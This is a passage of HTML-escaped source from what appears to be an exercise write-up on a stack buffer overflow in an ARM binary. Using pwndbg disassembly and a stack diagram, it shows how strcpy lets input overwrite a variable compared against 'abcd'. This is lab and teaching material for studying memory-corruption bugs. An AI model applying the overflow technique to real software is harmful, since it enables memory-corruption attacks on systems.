&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r1&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;r0&lt;/span&gt;
  &lt;span class="mh"&gt;0x50&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;----|--&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AAAA&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="n"&gt;BBBB&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="n"&gt;CCCC&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;zeros&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;-|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
   &lt;span class="mh"&gt;0x8&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;
 &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;----|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;lr&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally the call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is made:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104fc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;76&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#strcpy@plt &amp;lt;strcpy@plt&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="сравнение"&gt;Сравнение&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10504&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x30]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10508&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1050c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;bne&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#main+108 &amp;lt;main+108&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The cookie is loaded from the stack and compared with the value stored in the code segment at 0x10504 + 0x30 + 0x8:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1053c&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1053c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;140&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x61626364&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The good old &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;abcd&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;dcba&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to be more precise due the endianess of the machine.&lt;/p&gt;
&lt;p&gt;A byte by byte inspection may make this more explicit:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="nb"&gt;bx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1053c&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1053c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;140&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x63&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x62&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x61&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="наша-цель-branch-at-0x1050c-not-taken"&gt;Наша цель (branch at 0x1050c &lt;strong&gt;not&lt;/strong&gt; taken):&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10510&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10510&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x28]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10514&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#puts@plt &amp;lt;puts@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10518&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;b&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;#main+124 &amp;lt;main+124&amp;gt;&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10540&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10540&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;144&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x000105d8&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mb"&gt;1b&lt;/span&gt;&lt;span class="nv"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x000105d8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x105d8:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nf"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;have&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;correctly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;got&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;variable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;right&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;value&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="неудача-branch-at-0x1050c-is-taken"&gt;Неудача (branch at 0x1050c &lt;strong&gt;is&lt;/strong&gt; taken):&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1051c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10520&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x1c]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10524&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10528&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#printf@plt &amp;lt;printf@plt&amp;gt;&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10544&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10544&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;148&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x00010610&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mb"&gt;1b&lt;/span&gt;&lt;span class="nv"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00010610&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x10610:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nf"&gt;Try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;again&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;got&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nv"&gt;n&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="эпилог"&gt;Эпилог&lt;/h2&gt;
&lt;p&gt;We reach here regardless of which path the branch at 0x1050c jumped to:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;124&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1052c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10530&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
